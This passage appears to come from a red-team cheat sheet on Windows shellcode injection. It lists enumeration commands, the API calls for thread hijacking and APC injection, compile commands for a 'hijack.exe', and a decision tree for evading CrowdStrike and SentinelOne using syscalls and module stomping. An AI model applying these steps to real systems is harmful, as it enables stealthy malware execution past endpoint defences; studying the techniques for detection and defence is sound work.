$pid = (Get-Process explorer).Id
Get-WmiObject Win32_Thread -Filter "ProcessHandle='$pid'" |
Select-Object Handle, ThreadState, ThreadWaitReason | Format-Table
# Step 3: Pick best thread (State=5 = Waiting)
# State values: 2=Running, 5=Waiting(best), 6=Transition
# Step 4: Compile and run hijack binary
cl.exe hijack.c /Fe:hijack.exe
.\hijack.exe <PID> <TID>
Process Enumeration Quick Reference
# List all processes (tasklist)
tasklist /v
# Find specific process PID
tasklist | findstr /i "svchost"
# List processes with thread count (PowerShell)
Get-Process | Sort-Object CPU -Descending |
Select-Object -First 10 Name, Id, Threads
# Sysinternals listdlls / handle
handle.exe -p <pid> # All handles open by PID
listdlls.exe <pid> # DLLs loaded in PID
Thread States Quick Reference
Thread State Values (Windows Internals):
0 = Initialized — Thread just created
1 = Ready — Waiting for CPU time
2 = Running — Currently executing
3 = Standby — Selected to run next
4 = Terminated — Thread has exited
5 = Waiting — ← BEST for hijacking (blocked on wait)
6 = Transition — Waiting for page to load
7 = DeferredReady — On a deferred ready queue
WaitReason Values:
0 = Executive — Waiting in kernel (often alertable)
6 = UserRequest — WaitForSingleObject / Sleep (usually NOT alertable)
8 = DelayExecution — SleepEx (MAY be alertable depending on flag)
For APC injection: need alertable = SleepEx(delay, TRUE) → WaitReason Executive
Required Access Rights — One-Liner Reference
// Thread hijacking (SetContext method)
OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
OpenThread(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, tid);
// APC injection
OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid);
OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
// CreateRemoteThread injection
OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |
PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
// Early Bird — no OpenProcess/OpenThread needed
// CreateProcess with CREATE_SUSPENDED returns both handles
Key APIs Summary
Enumeration:
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) → All processes
CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) → All threads (filter by PID)
EnumProcesses(pids, size, &returned) → PSAPI method
NtQuerySystemInformation(5, buf, size, &ret) → Native, lowest level
Injection:
VirtualAllocEx(hProc, NULL, size, MEM_COMMIT, PAGE_READWRITE)
WriteProcessMemory(hProc, addr, buf, size, &written)
VirtualProtectEx(hProc, addr, size, PAGE_EXECUTE_READ, &old)
Thread Manipulation:
SuspendThread(hThread)
GetThreadContext(hThread, &ctx) → ctx.ContextFlags = CONTEXT_FULL
SetThreadContext(hThread, &ctx) → Modify ctx.Rip before calling
ResumeThread(hThread)
APC:
QueueUserAPC((PAPCFUNC)shellcodeAddr, hThread, 0)
→ Thread must call SleepEx/WaitForSingleObjectEx with bAlertable=TRUE
Decision Tree — Which Technique to Use?
Need to inject shellcode?
│
├─ EDR present (CrowdStrike, SentinelOne)?
│ ├─ Highest stealth needed?
│ │ └─ Early Bird APC + PPID spoofing + module stomping
│ │ + direct syscalls for all allocation steps
│ │
│ ├─ Good stealth, moderate complexity?
│ │ └─ Thread hijacking (SetContext) + indirect syscalls
│ │ + RW→RX two-step (no RWX pages)
│ │
│ └─ Need APC specifically?
│ └─ APC + alertable thread selection + module stomping
│
├─ Defender / light EDR only?
│ └─ Thread hijacking (SetContext) or APC injection
│ + RW→RX two-step is sufficient
│
├─ Lab / CTF environment?
│ └─ CreateRemoteThread — simplest, works fine
│
├─ Process must not have extra threads?
│ └─ Thread hijacking (SetContext) — no new thread created
│
├─ Want shellcode to run before any EDR loads?
│ └─ Early Bird APC — inject into suspended process
│
└─ Have code execution in target already (lateral)?
└─ APC injection from within — no cross-process handles needed
Compile Commands
# C — MinGW (cross-compile on Linux targeting Windows x64)
x86_64-w64-mingw32-gcc hijack.c -o hijack.exe -lntdll
# C — MSVC (on Windows)
cl.exe hijack.c /Fe:hijack.exe /link ntdll.lib
# C# — .NET
csc.exe /out:hijack.exe hijack.cs
# C++ with SysWhispers3
python3 SysWhispers.py --preset all -o syscalls
x86_64-w64-mingw32-gcc hijack.c syscalls.c -o hijack.exe -masm=intel
References & Tools
Core Windows Internals:
- Windows Internals 7th Ed. — Mark Russinovich (Thread context, process object structure)
- MSDN: GetThreadContext / SetThreadContext — docs.microsoft.com
- MSDN: QueueUserAPC — docs.microsoft.com
- MSDN: NtQuerySystemInformation — undocumented.ntinternals.net
Thread Hijacking Research: - ired.team — https://www.ired.team/offensive-security/code-injection-process-injection - MDSec Blog — NtCreateThreadEx and thread hijacking research - modexp (Alex Ionescu) — Windows thread internals deep dives - SleepyCrypt / Ekko — Sleep encryption + thread context manipulation - Get-InjectedThread — https://github.com/jaredcatkinson/PSReflect-Functions
Evasion Research: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 - HellsGate — https://github.com/am0nsec/HellsGate - Moneta — https://github.com/forrest-orr/moneta (detection of anomalous memory) - pe-sieve — https://github.com/hasherezade/pe-sieve - Module Stomping — https://www.forrest-orr.net/post/masking-malicious-memory-artifacts
Frameworks: - Cobalt Strike BOF — Thread injection BOFs — https://github.com/trustedsec/CS-Situational-Awareness-BOF - Havoc C2 — https://github.com/HavocFramework/Havoc - Sliver C2 — https://github.com/BishopFox/sliver